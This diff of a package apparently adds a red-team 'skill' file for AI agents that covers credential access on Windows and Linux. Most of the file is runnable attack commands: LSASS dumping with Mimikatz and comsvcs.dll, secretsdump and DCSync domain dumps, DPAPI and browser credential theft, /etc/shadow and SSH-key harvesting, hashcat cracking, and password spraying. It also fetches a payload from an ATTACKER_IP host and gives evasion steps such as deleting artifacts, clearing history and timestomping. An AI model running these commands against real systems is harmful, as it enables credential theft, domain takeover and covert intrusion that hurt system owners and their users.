rtexit-method 0.1.0 → 0.1.2

package/packaged-assets/.agents/skills/rt-credential-access/SKILL.md

@@ -0,0 +1,756 @@
+---
+name: rt-credential-access
+description: "Credential access and dumping skill. Windows: Mimikatz sekurlsa::logonpasswords and lsadump::sam, secretsdump.py remote dump, SAM/SYSTEM hive extraction, DPAPI master key decryption, browser credentials with LaZagne, Windows Credential Manager. Linux: /etc/shadow extraction, SSH private key hunting, bash history credential mining, application config file passwords. Hashcat cracking integration."
+---
+
+# rt-credential-access
+
+## Overview
+
+Credential access covers techniques used to steal account names, passwords, hashes, tokens, and cryptographic material from compromised systems. This skill maps to MITRE ATT&CK Tactic TA0006 and is executed after initial access and privilege escalation to extend access, enable lateral movement, and achieve persistence.
+
+**When to use this skill:**
+- You have a foothold (shell/RDP/WinRM) on a target and need to harvest credentials for lateral movement
+- You need to escalate from a low-privilege account by cracking a local admin hash
+- You are performing a domain compromise chain and need NTLM hashes or Kerberos tickets
+- You are demonstrating credential hygiene failures in a red team report (password reuse, cleartext storage)
+- You have remote access to a domain controller and want to perform a DCSync or VSS shadow copy dump
+
+**Scope of this skill:**
+- Windows: LSASS memory dumps, SAM/SYSTEM hive extraction, DPAPI decryption, browser credential harvest, Windows Credential Manager, remote secretsdump
+- Linux: /etc/shadow, SSH key hunting, bash history mining, application config files
+- Cracking: Hashcat integration for offline hash cracking
+
+---
+
+## Prerequisites and Tool Setup
+
+### Operator Machine (Kali Linux)
+
+```bash
+# Update system
+sudo apt update && sudo apt upgrade -y
+
+# Impacket suite (includes secretsdump.py, wmiexec.py, etc.)
+sudo apt install -y python3-impacket impacket-scripts
+# OR install from source for latest version
+git clone https://github.com/fortra/impacket.git /opt/impacket
+cd /opt/impacket && pip3 install -e .
+
+# Hashcat
+sudo apt install -y hashcat
+
+# John the Ripper (alternative cracker)
+sudo apt install -y john
+
+# LaZagne (browser + app credential dumper)
+git clone https://github.com/AlessandroZ/LaZagne.git /opt/lazagne
+cd /opt/lazagne && pip3 install -r requirements.txt
+
+# CrackMapExec (CME) for network-wide credential validation
+sudo apt install -y crackmapexec
+# OR pipx install
+pipx install crackmapexec
+
+# NetExec (CME successor)
+pipx install git+https://github.com/Pennyw0rth/NetExec
+
+# Mimikatz (pre-compiled for Windows targets)
+# Download from releases — keep on operator machine, transfer as needed
+wget https://github.com/gentilkiwi/mimikatz/releases/latest/download/mimikatz_trunk.zip -O /opt/mimikatz.zip
+unzip /opt/mimikatz.zip -d /opt/mimikatz/
+
+# pypykatz (pure Python Mimikatz — runs on Linux, parses LSASS dumps)
+pip3 install pypykatz
+
+# Wordlists
+sudo apt install -y wordlists
+sudo gunzip /usr/share/wordlists/rockyou.txt.gz
+
+# Useful rules for hashcat
+ls /usr/share/hashcat/rules/
+```
+
+### Required Privileges by Technique
+
+| Technique | Required Privilege |
+|---|---|
+| sekurlsa::logonpasswords | SYSTEM or local admin (SeDebugPrivilege) |
+| lsadump::sam | SYSTEM |
+| lsadump::dcsync | Domain Admin or replication rights |
+| secretsdump.py remote | Domain Admin or local admin on target |
+| SAM/SYSTEM hive copy | SYSTEM (or Volume Shadow Copy) |
+| /etc/shadow read | root |
+| LaZagne browser creds | Current user (targets current user profile) |
+| DPAPI decryption | Current user or SYSTEM with masterkey |
+
+---
+
+## Skill Levels
+
+### BEGINNER — Foundational Techniques
+
+**Goal:** Understand what credentials look like, where they live, and how to extract them safely.
+
+**Techniques:**
+- Identify logged-on users and sessions
+- Dump SAM hive (offline)
+- Read bash history and config files
+- Run LaZagne for browser creds
+- Crack NTLM hashes with rockyou
+
+**Tools:** secretsdump.py, LaZagne, Hashcat basic modes
+
+---
+
+### INTERMEDIATE — Active Exploitation
+
+**Goal:** Extract credentials from live systems, validate them across the network, and begin lateral movement.
+
+**Techniques:**
+- LSASS dump via Task Manager or procdump
+- Mimikatz sekurlsa::logonpasswords
+- secretsdump.py against remote targets
+- /etc/shadow extraction and unshadow
+- SSH key hunting on Linux targets
+- Credential spraying with CME/NetExec
+
+**Tools:** Mimikatz, secretsdump.py, CME, pypykatz, John
+
+---
+
+### ADVANCED — Evasion and Stealth
+
+**Goal:** Extract credentials while minimizing EDR/AV detection, abuse trust relationships.
+
+**Techniques:**
+- LSASS dump via MiniDumpWriteDump API (custom loader)
+- Comsvcs.dll rundll32 dump (LOLBin)
+- DCSync via lsadump::dcsync (no LSASS touch on DC)
+- DPAPI masterkey decryption for domain credentials
+- Shadow copy extraction to bypass file locks
+- Token impersonation after credential use
+
+**Tools:** Mimikatz, pypykatz, custom dump loaders, VSS
+
+---
+
+### EXPERT — Deep Exploitation and Novel Paths
+
+**Goal:** Exploit complex trust paths, recover credentials from non-obvious sources, demonstrate systemic credential hygiene failures.
+
+**Techniques:**
+- DCSync from a compromised machine with delegated replication rights
+- DPAPI blob decryption for RDP saved credentials and Wi-Fi keys
+- Extracting credentials from memory-mapped database files (NTDS.dit offline)
+- KeePass master password recovery from process memory
+- Azure AD Connect credential extraction (MSOL account)
+- Extracting credentials from Group Policy Preferences (SYSVOL)
+- ESXi/vCenter credential files
+- AWS/GCP credential files and instance metadata
+
+**Tools:** Mimikatz, secretsdump.py against NTDS.dit, impacket ntds tools, custom Python
+
+---
+
+## Step-by-Step Attack Workflow
+
+### Phase 1 — Enumeration and Reconnaissance
+
+```bash
+# 1. Identify target OS and users (from your existing foothold)
+# On Windows target (cmd/PowerShell):
+whoami /all
+net user
+net localgroup administrators
+query user
+
+# On Linux target:
+id
+cat /etc/passwd | grep -v nologin | grep -v false
+last -a | head -20
+w
+
+# 2. Check what credential stores exist
+# Windows:
+cmdkey /list                          # Windows Credential Manager
+dir "%APPDATA%\Microsoft\Credentials" # DPAPI blobs
+dir "%LOCALAPPDATA%\Google\Chrome\User Data\Default\" # Chrome profile
+
+# Linux:
+find / -name "*.pem" -o -name "id_rsa" -o -name "id_ed25519" 2>/dev/null
+find / -name ".env" -o -name "*.conf" -o -name "*.cfg" 2>/dev/null | head -30
+cat ~/.bash_history | grep -iE "pass|pwd|secret|key|token"
+```
+
+### Phase 2 — Windows Credential Extraction
+
+#### 2A. Mimikatz — LSASS Memory (Requires SYSTEM/Admin)
+
+```powershell
+# Transfer Mimikatz to target (operator machine → target)
+# Use your C2 or:
+certutil -urlcache -f http://ATTACKER_IP/mimikatz.exe C:\Windows\Temp\m.exe
+
+# Run Mimikatz (PowerShell or cmd as admin)
+C:\Windows\Temp\m.exe
+
+# Inside Mimikatz interactive prompt:
+privilege::debug
+sekurlsa::logonpasswords          # Dump cleartext + NTLM from LSASS
+sekurlsa::wdigest                 # Force WDigest plaintext (older systems)
+lsadump::sam                      # Dump SAM database
+lsadump::secrets                  # LSA secrets (service account passwords)
+lsadump::cache                    # Cached domain credentials (DCC2 hashes)
+exit
+
+# One-liner (no interactive prompt):
+mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" "exit" > C:\Windows\Temp\creds.txt
+```
+
+#### 2B. LSASS Dump via LOLBin (Comsvcs.dll — Stealthier)
+
+```powershell
+# Get LSASS PID
+$lsass = Get-Process lsass | Select-Object -ExpandProperty Id
+# OR: tasklist | findstr lsass
+
+# Dump using comsvcs.dll (built-in Windows DLL, often bypasses AV)
+rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump $lsass C:\Windows\Temp\lsass.dmp full
+
+# Transfer dump to operator machine and parse with pypykatz
+# On Kali:
+scp target_user@TARGET_IP:C:/Windows/Temp/lsass.dmp /tmp/
+pypykatz lsa minidump /tmp/lsass.dmp
+```
+
+#### 2C. SAM/SYSTEM Hive Extraction (Registry Export)
+
+```cmd
+# Export SAM and SYSTEM hives (requires admin)
+reg save HKLM\SAM C:\Windows\Temp\SAM
+reg save HKLM\SYSTEM C:\Windows\Temp\SYSTEM
+reg save HKLM\SECURITY C:\Windows\Temp\SECURITY
+
+# Transfer to Kali and dump with secretsdump.py
+# On Kali:
+impacket-secretsdump -sam /tmp/SAM -system /tmp/SYSTEM -security /tmp/SECURITY LOCAL
+```
+
+#### 2D. Shadow Copy Extraction (Bypass File Locks)
+
+```cmd
+# List shadow copies
+vssadmin list shadows
+
+# Create a new shadow copy if needed
+wmic shadowcopy call create Volume='C:\'
+
+# Copy SAM/SYSTEM from shadow copy
+copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM C:\Windows\Temp\SAM_vss
+copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\Windows\Temp\SYSTEM_vss
+copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\ntds\ntds.dit C:\Windows\Temp\ntds.dit
+```
+
+#### 2E. Remote Dump with secretsdump.py (No File on Target)
+
+```bash
+# Dump SAM + LSA secrets remotely using admin credentials
+impacket-secretsdump DOMAIN/Administrator:Password@TARGET_IP
+
+# With NTLM hash (pass-the-hash)
+impacket-secretsdump -hashes :NTLM_HASH DOMAIN/Administrator@TARGET_IP
+
+# Against domain controller (dumps all domain hashes via VSS)
+impacket-secretsdump DOMAIN/DomainAdmin:Password@DC_IP -just-dc
+
+# DCSync (no VSS, uses replication protocol — much stealthier on DC)
+impacket-secretsdump DOMAIN/DomainAdmin:Password@DC_IP -just-dc-user Administrator
+impacket-secretsdump DOMAIN/DomainAdmin:Password@DC_IP -just-dc-ntlm
+
+# Parse NTDS.dit offline after transfer
+impacket-secretsdump -ntds /tmp/ntds.dit -system /tmp/SYSTEM LOCAL
+```
+
+#### 2F. DCSync via Mimikatz (Stealthiest DC Attack)
+
+```powershell
+# On a machine with DA or replication rights:
+mimikatz.exe "lsadump::dcsync /domain:CORP.LOCAL /user:Administrator" "exit"
+
+# Dump all domain hashes (noisy — only do in authorized engagements with explicit scope):
+mimikatz.exe "lsadump::dcsync /domain:CORP.LOCAL /all /csv" "exit"
+```
+
+#### 2G. DPAPI — Saved Credentials Decryption
+
+```powershell
+# List DPAPI credential blobs for current user
+dir "%APPDATA%\Microsoft\Credentials\"
+dir "%LOCALAPPDATA%\Microsoft\Credentials\"
+
+# Dump master keys (requires Mimikatz as current user or SYSTEM):
+mimikatz.exe "dpapi::cred /in:%APPDATA%\Microsoft\Credentials\<BLOB_FILE>" "exit"
+
+# If SYSTEM: decrypt domain backup key to decrypt any user's masterkey
+mimikatz.exe "privilege::debug" "sekurlsa::dpapi" "exit"
+
+# Decrypt specific blob with masterkey GUID:
+mimikatz.exe "dpapi::masterkey /in:%APPDATA%\Microsoft\Protect\<SID>\<GUID> /rpc" "dpapi::cred /in:%APPDATA%\Microsoft\Credentials\<BLOB>" "exit"
+```
+
+#### 2H. Browser Credentials with LaZagne
+
+```cmd
+# Transfer lazagne.exe to target and run
+lazagne.exe browsers
+lazagne.exe all                      # All supported modules
+lazagne.exe all -oJ                  # JSON output
+lazagne.exe all -oA -output C:\Windows\Temp\creds
+```
+
+```bash
+# On Linux (run as current user):
+python3 /opt/lazagne/laZagne.py all
+python3 /opt/lazagne/laZagne.py browsers
+python3 /opt/lazagne/laZagne.py all -oJ -output /tmp/
+```
+
+#### 2I. Windows Credential Manager
+
+```cmd
+# List stored credentials
+cmdkey /list
+
+# Dump via Mimikatz (requires admin):
+mimikatz.exe "privilege::debug" "sekurlsa::credman" "exit"
+
+# PowerShell enumeration:
+[Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime]
+$vault = New-Object Windows.Security.Credentials.PasswordVault
+$vault.RetrieveAll() | ForEach-Object { $_.RetrievePassword(); $_ }
+```
+
+### Phase 3 — Linux Credential Extraction
+
+#### 3A. /etc/shadow Extraction
+
+```bash
+# Read shadow file (requires root)
+cat /etc/shadow
+
+# Combine with /etc/passwd for cracking
+unshadow /etc/passwd /etc/shadow > /tmp/unshadowed.txt
+
+# Also check:
+cat /etc/passwd           # Check for old-style password field (not 'x')
+cat /etc/master.passwd    # BSD systems
+```
+
+#### 3B. SSH Private Key Hunting
+
+```bash
+# Find SSH private keys across the system
+find / -name "id_rsa" -o -name "id_ed25519" -o -name "id_ecdsa" -o -name "*.pem" 2>/dev/null
+find / -name "authorized_keys" 2>/dev/null   # Find where keys are accepted
+
+# Check home directories
+for dir in /home/*; do ls -la $dir/.ssh/ 2>/dev/null; done
+ls -la /root/.ssh/
+
+# Check for passphrase-protected keys (try empty passphrase first)
+ssh-keygen -y -f /path/to/key    # Prompts if passphrase required
+
+# If protected, crack with John:
+python3 /usr/share/john/ssh2john.py /path/to/id_rsa > /tmp/ssh_hash.txt
+john /tmp/ssh_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
+```
+
+#### 3C. Bash History and Config File Mining
+
+```bash
+# Current and other user histories
+cat ~/.bash_history
+cat ~/.zsh_history
+cat ~/.fish_history
+for user in $(cat /etc/passwd | cut -d: -f1,6 | grep -v nologin | grep -v false | cut -d: -f2); do
+    echo "=== $user ===" && cat $user/.bash_history 2>/dev/null
+done
+
+# Grep for credentials in histories
+grep -iE "(pass|pwd|secret|key|token|api|bearer|auth|curl.*-u|mysql.*-p|psql.*-W)" ~/.bash_history
+
+# Application configuration files
+find / -name "*.conf" -o -name "*.cfg" -o -name "*.ini" -o -name "*.env" -o -name "*.yaml" -o -name "*.yml" 2>/dev/null | xargs grep -l -iE "(password|passwd|secret|api_key|token)" 2>/dev/null
+
+# Web app configs
+find /var/www /srv /opt /home -name "wp-config.php" -o -name "config.php" -o -name "database.yml" -o -name ".env" 2>/dev/null
+cat /var/www/html/wp-config.php 2>/dev/null | grep -iE "DB_PASS|DB_USER"
+
+# Database credential files
+cat ~/.my.cnf 2>/dev/null
+cat ~/.pgpass 2>/dev/null
+cat /etc/mysql/debian.cnf 2>/dev/null
+
+# Cloud credential files
+cat ~/.aws/credentials 2>/dev/null
+cat ~/.aws/config 2>/dev/null
+cat ~/.config/gcloud/application_default_credentials.json 2>/dev/null
+cat ~/.azure/accessTokens.json 2>/dev/null
+
+# Docker and Kubernetes
+cat ~/.docker/config.json 2>/dev/null
+cat ~/.kube/config 2>/dev/null
+
+# SSH config (reveals hostnames, users, key paths for lateral movement)
+cat ~/.ssh/config 2>/dev/null
+cat /etc/ssh/ssh_config 2>/dev/null
+```
+
+#### 3D. Running Process and Memory Mining
+
+```bash
+# Check running processes for credentials in command-line args
+ps auxww | grep -iE "(pass|pwd|secret|token|key)"
+
+# Check /proc for sensitive environment variables of running processes
+for pid in $(ls /proc | grep -E '^[0-9]+$'); do
+    cat /proc/$pid/environ 2>/dev/null | tr '\0' '\n' | grep -iE "(pass|pwd|secret|key|token|api)"
+done
+
+# Check process memory strings (requires root or same user as process)
+strings /proc/<PID>/mem 2>/dev/null | grep -iE "(password|passwd|secret)"
+```
+
+### Phase 4 — Hash Cracking with Hashcat
+
+```bash
+# Identify hash type before cracking
+hashcat --identify /tmp/hashes.txt
+
+# NTLM hashes (Windows) — hashcat mode 1000
+hashcat -m 1000 /tmp/ntlm_hashes.txt /usr/share/wordlists/rockyou.txt
+hashcat -m 1000 /tmp/ntlm_hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
+
+# NTLMv2 (Net-NTLMv2 from Responder captures) — mode 5600
+hashcat -m 5600 /tmp/netntlmv2.txt /usr/share/wordlists/rockyou.txt
+
+# MD5 — mode 0
+hashcat -m 0 /tmp/md5_hashes.txt /usr/share/wordlists/rockyou.txt
+
+# SHA-256 — mode 1400
+hashcat -m 1400 /tmp/sha256.txt /usr/share/wordlists/rockyou.txt
+
+# bcrypt — mode 3200 (slow)
+hashcat -m 3200 /tmp/bcrypt.txt /usr/share/wordlists/rockyou.txt
+
+# SHA-512 crypt (Linux /etc/shadow $6$) — mode 1800
+hashcat -m 1800 /tmp/shadow_hashes.txt /usr/share/wordlists/rockyou.txt
+
+# DCC2 (domain cached credentials $DCC2$) — mode 2100
+hashcat -m 2100 /tmp/dcc2_hashes.txt /usr/share/wordlists/rockyou.txt
+
+# Kerberos TGS (AS-REP, Kerberoasting) — mode 18200 / 13100
+hashcat -m 18200 /tmp/asrep_hashes.txt /usr/share/wordlists/rockyou.txt   # AS-REP roasting
+hashcat -m 13100 /tmp/tgs_hashes.txt /usr/share/wordlists/rockyou.txt    # Kerberoasting
+
+# Use mask attack for password patterns (e.g., Company2024!)
+hashcat -m 1000 /tmp/ntlm.txt -a 3 "Company?d?d?d?d!"
+
+# Combination attack — combine two wordlists
+hashcat -m 1000 /tmp/ntlm.txt -a 1 /tmp/words1.txt /tmp/words2.txt
+
+# Show cracked passwords
+hashcat -m 1000 /tmp/ntlm.txt --show
+
+# John the Ripper alternative
+john /tmp/unshadowed.txt --wordlist=/usr/share/wordlists/rockyou.txt
+john /tmp/unshadowed.txt --show
+```
+
+### Phase 5 — Credential Validation and Spraying
+
+```bash
+# Validate a single credential against SMB
+nxc smb TARGET_IP -u Administrator -p 'Password123!'
+nxc smb TARGET_IP -u Administrator -H NTLM_HASH   # Pass-the-hash
+
+# Spray a credential across a subnet
+nxc smb 192.168.1.0/24 -u Administrator -p 'Password123!'
+
+# Spray against a list of users
+nxc smb TARGET_IP -u /tmp/users.txt -p 'Winter2024!' --continue-on-success
+
+# WinRM validation
+nxc winrm TARGET_IP -u Administrator -p 'Password123!'
+
+# SSH validation
+nxc ssh TARGET_IP -u root -p 'Password123!'
+ssh -i /tmp/stolen_id_rsa user@TARGET_IP
+
+# Validate domain credentials
+nxc smb DC_IP -u DomainUser -p 'Password123!' -d CORP.LOCAL
+```
+
+---
+
+## Real Attack Scenarios
+
+### Scenario 1 — Windows Internal Network: Local Admin to Domain Admin
+
+**Context:** You have a Meterpreter shell on a Windows 10 workstation as a local admin. Goal: extract domain admin credentials.
+
+```bash
+# Step 1: From Meterpreter, migrate to a SYSTEM process or use getsystem
+# In Meterpreter:
+getsystem
+getuid   # Should show NT AUTHORITY\SYSTEM
+
+# Step 2: Dump LSASS with Mimikatz Meterpreter module
+load kiwi
+creds_all
+lsa_dump_sam
+
+# Step 3: Look for domain user credentials in output
+# If domain user credentials are found (plaintext or NTLM hash):
+# Note: CORP\jsmith : NTLMhash_value
+
+# Step 4: Validate the hash against the DC
+nxc smb DC_IP -u jsmith -H NTLM_HASH -d CORP.LOCAL
+
+# Step 5: If jsmith has DA rights, run DCSync to dump all hashes
+impacket-secretsdump -hashes :NTLM_HASH CORP.LOCAL/jsmith@DC_IP -just-dc-ntlm
+
+# Step 6: Crack the krbtgt hash for Golden Ticket (if in scope)
+hashcat -m 1000 /tmp/dc_hashes.txt /usr/share/wordlists/rockyou.txt
+
+# Step 7: Document all found credentials with context
+```
+
+---
+
+### Scenario 2 — Linux Web Server Compromise: App Creds to Root
+
+**Context:** You have a low-privilege shell on a Linux web server (www-data). Goal: escalate to root and extract all credentials.
+
+```bash
+# Step 1: Mine application config files for database passwords
+find /var/www -name "*.php" -o -name "*.env" -o -name "*.conf" 2>/dev/null | \
+    xargs grep -l -iE "(password|DB_PASS|secret)" 2>/dev/null
+
+cat /var/www/html/app/.env
+# Found: DB_PASSWORD=SuperSecret123
+
+# Step 2: Connect to database and extract password hashes
+mysql -u webapp_user -p'SuperSecret123' -e "SELECT user, authentication_string FROM mysql.user;" 2>/dev/null
+
+# Step 3: Check bash history of www-data and other users
+cat ~/.bash_history | grep -iE "(pass|sudo|su |ssh)"
+
+# Step 4: Hunt for SSH keys
+find /home /var/www /root -name "id_rsa" -o -name "id_ed25519" 2>/dev/null
+# Found: /home/deploy/.ssh/id_rsa
+
+# Step 5: Use the deploy key to SSH to other systems
+ssh -i /home/deploy/.ssh/id_rsa deploy@192.168.10.50
+
+# Step 6: If root is obtained (via sudo/kernel exploit), extract /etc/shadow
+sudo cat /etc/shadow > /tmp/shadow.txt
+unshadow /etc/passwd /etc/shadow > /tmp/unshadowed.txt
+
+# Step 7: Transfer to Kali and crack
+scp attacker@KALI_IP:/tmp/unshadowed.txt .
+hashcat -m 1800 /tmp/unshadowed.txt /usr/share/wordlists/rockyou.txt
+```
+
+---
+
+### Scenario 3 — Remote Domain Controller: Secretsdump + Full Domain Compromise
+
+**Context:** You have obtained Domain Admin credentials through phishing + privilege escalation. Goal: dump entire Active Directory for documentation.
+
+```bash
+# Step 1: Validate DA credentials
+nxc smb DC_IP -u 'DomainAdmin' -p 'Passw0rd!' -d CORP.LOCAL --shares
+
+# Step 2: Remote secretsdump against DC (VSS method — dumps NTDS.dit remotely)
+impacket-secretsdump 'CORP.LOCAL/DomainAdmin:Passw0rd!@DC_IP' -just-dc -outputfile /tmp/corp_domain_dump
+
+# Step 3: Review output files
+cat /tmp/corp_domain_dump.ntds | head -50
+# Format: domain\user:RID:LM_HASH:NTLM_HASH:::
+
+# Step 4: Extract just NTLM hashes for cracking
+cut -d: -f4 /tmp/corp_domain_dump.ntds > /tmp/ntlm_only.txt
+
+# Step 5: Crack with hashcat — prioritize high-value accounts
+# First check if Administrator hash is already known:
+grep "Administrator" /tmp/corp_domain_dump.ntds
+
+# Run cracking job:
+hashcat -m 1000 /tmp/ntlm_only.txt /usr/share/wordlists/rockyou.txt \
+    -r /usr/share/hashcat/rules/best64.rule \
+    -r /usr/share/hashcat/rules/d3ad0ne.rule \
+    -o /tmp/cracked.txt
+
+# Step 6: Map cracked passwords back to usernames
+hashcat -m 1000 /tmp/ntlm_only.txt --show --username
+
+# Step 7: Check for password reuse across accounts
+# Extract cracked passwords
+cut -d: -f2 /tmp/cracked.txt | sort -u > /tmp/passwords.txt
+
+# Spray cracked passwords against other services
+nxc smb 192.168.1.0/24 -u /tmp/users.txt -p /tmp/passwords.txt --continue-on-success
+
+# Step 8: Check for krbtgt hash (enables Golden Ticket)
+grep "krbtgt" /tmp/corp_domain_dump.ntds
+
+# Step 9: Dump browser credentials on DA workstation (lateral move)
+nxc smb DA_WORKSTATION_IP -u 'DomainAdmin' -p 'Passw0rd!' -d CORP.LOCAL \
+    --exec-method smbexec \
+    -x "lazagne.exe all -oJ"
+```
+
+---
+
+## OPSEC Considerations
+
+### Detection Risks
+
+| Technique | Detection Risk | Triggered By |
+|---|---|---|
+| sekurlsa::logonpasswords | CRITICAL | LSASS access, Mimikatz signatures, Event ID 10 (Sysmon) |
+| comsvcs.dll MiniDump | HIGH | rundll32 + comsvcs.dll + lsass.exe in process tree |
+| secretsdump.py remote | HIGH | SMB pipe SVCCTL, remote service creation, Event ID 7045 |
+| DCSync | MEDIUM-HIGH | Replication RPCs from non-DC machine, Event ID 4662 |
+| VSS shadow copy creation | MEDIUM | Event ID 8222 (VSS), unusual wmic.exe activity |
+| SAM/SYSTEM reg export | MEDIUM | reg.exe saving HKLM\SAM, Event ID 4663 |
+| LaZagne | HIGH | Process creation from temp dirs, network requests, Defender signatures |
+| /etc/shadow read | MEDIUM | auditd file access logs (if configured) |
+| SSH key access | LOW-MEDIUM | File access logs if auditd active |
+
+### Mitigation Strategies for Operators (Reduce Footprint)
+
+```bash
+# 1. Use C2-integrated credential dumping (e.g., Cobalt Strike kiwi, Havoc, Sliver)
+#    — avoids dropping files to disk
+
+# 2. For LSASS, prefer API-based dumps over mimikatz.exe on disk
+#    — Use SharpDump, Nanodump, or custom loader
+
+# 3. Rename output files to benign names
+#    — lsass.dmp → werfault.dmp, creds.txt → update.log
+
+# 4. Delete artifacts immediately after transfer
+del C:\Windows\Temp\SAM C:\Windows\Temp\SYSTEM C:\Windows\Temp\lsass.dmp
+
+# 5. Prefer DCSync over LSASS dump on domain controllers
+#    — DCSync touches no files on the DC, lower EDR signature
+
+# 6. Avoid running LaZagne or Mimikatz from common temp paths
+#    — Use %APPDATA%, user writable paths, or in-memory execution
+
+# 7. Hash cracking always done on operator machine (offline)
+#    — Never crack on the target
+
+# 8. Validate credentials slowly — avoid lockout thresholds
+#    — Default AD lockout: 5 failed attempts
+#    — Space attempts: 1 per hour minimum for spraying
+
+# 9. Clear bash history on Linux after mining
+history -c && history -w
+
+# 10. Use timestomping if file artifacts are unavoidable (Windows)
+#     Mimikatz: timestomp C:\Windows\Temp\m.exe -m "01/01/2023 00:00:00"
+```
+
+### EDR/AV Evasion Notes
+
+- Mimikatz is heavily signatured. Use obfuscated builds, in-memory loading (Invoke-Mimikatz, SharpKatz), or C2 kiwi modules
+- comsvcs.dll MiniDump is now flagged by most modern EDRs — consider API-based alternatives (MalSecLogon, NanoDump)
+- secretsdump.py generates distinct SMB traffic patterns — use with caution against monitored environments
+- Windows Defender blocks most credential dumping by default on modern Windows — check PPL (Protected Process Light) status of LSASS
+- Check if LSASS is PPL-protected before attempting memory dump:
+
+```powershell
+Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "RunAsPPL"
+# If RunAsPPL = 1, standard LSASS dump will fail — need PPL bypass (mimidrv.sys, PPLdump)
+```
+
+---
+
+## Output and Documentation Instructions
+
+### During Engagement — Capture Everything
+
+```bash
+# Create organized output directory per target
+mkdir -p /tmp/engagement/TARGET_IP/{credentials,hashes,screenshots,notes}
+
+# Redirect all tool output
+impacket-secretsdump ... 2>&1 | tee /tmp/engagement/TARGET_IP/credentials/secretsdump_$(date +%Y%m%d_%H%M%S).txt
+
+# Screenshot terminal evidence (tmux logging or script)
+script -a /tmp/engagement/TARGET_IP/notes/session_log.txt
+# All subsequent commands logged until: exit
+```
+
+### Documentation Format for Report
+
+For each credential found, document:
+
+```
+Host: TARGET_IP / HOSTNAME
+Account: DOMAIN\username (or local)
+Type: Cleartext | NTLM Hash | NTLMv2 Hash | Kerberos Hash | SSH Key | API Key
+Value: [password or hash — redact in client-facing report if required]
+Source: LSASS / SAM / /etc/shadow / Browser / Config File / History
+Access Level: Local Admin | Domain User | Domain Admin | Service Account
+Cracked: Yes/No — Cracked Password: [value]
+Used For: Lateral movement to HOST2 / Validated only / Demonstrated reuse
+Evidence File: /path/to/screenshot_or_log
+```
+
+### Redaction for Client Reports
+
+- Always hash or truncate actual passwords in executive summaries
+- Include full credentials in technical appendix, marked CONFIDENTIAL
+- Document password complexity/pattern to highlight policy failures without exposing exact values (e.g., "Password followed pattern: CompanyName + Year + Symbol")
+
+---
+
+## Resources
+
+### Primary Tools
+
+- Mimikatz: https://github.com/gentilkiwi/mimikatz
+- Impacket (secretsdump, etc.): https://github.com/fortra/impacket
+- LaZagne: https://github.com/AlessandroZ/LaZagne
+- pypykatz: https://github.com/skelsec/pypykatz
+- NetExec (CME successor): https://github.com/Pennyw0rth/NetExec
+- CrackMapExec: https://github.com/byt3bl33d3r/CrackMapExec
+- Hashcat: https://github.com/hashcat/hashcat
+
+### Evasion and Advanced Techniques
+
+- NanoDump (stealthy LSASS dump): https://github.com/helpsystems/nanodump
+- SharpDump: https://github.com/GhostPack/SharpDump
+- Rubeus (Kerberos attacks): https://github.com/GhostPack/Rubeus
+- SharpDPAPI (DPAPI attacks): https://github.com/GhostPack/SharpDPAPI
+- PPLdump (bypass PPL protected LSASS): https://github.com/itm4n/PPLdump
+
+### Reference Material
+
+- MITRE ATT&CK TA0006 (Credential Access): https://attack.mitre.org/tactics/TA0006/
+- MITRE T1003 (OS Credential Dumping): https://attack.mitre.org/techniques/T1003/
+- Hashcat example hashes: https://hashcat.net/wiki/doku.php?id=example_hashes
+- Hashcat rules collection: https://github.com/NotSoSecure/password_cracking_rules
+- ired.team credential access notes: https://www.ired.team/offensive-security/credential-access-and-credential-dumping
+- S3cur3Th1sSh1t credential dumping cheatsheet: https://github.com/S3cur3Th1sSh1t/Cheatsheet-God
+
+### Wordlists and Rules
+
+- SecLists passwords: https://github.com/danielmiessler/SecLists/tree/master/Passwords
+- Probable-Wordlists: https://github.com/berzerk0/Probable-Wordlists
+- OneRuleToRuleThemAll: https://github.com/NotSoSecure/password_cracking_rules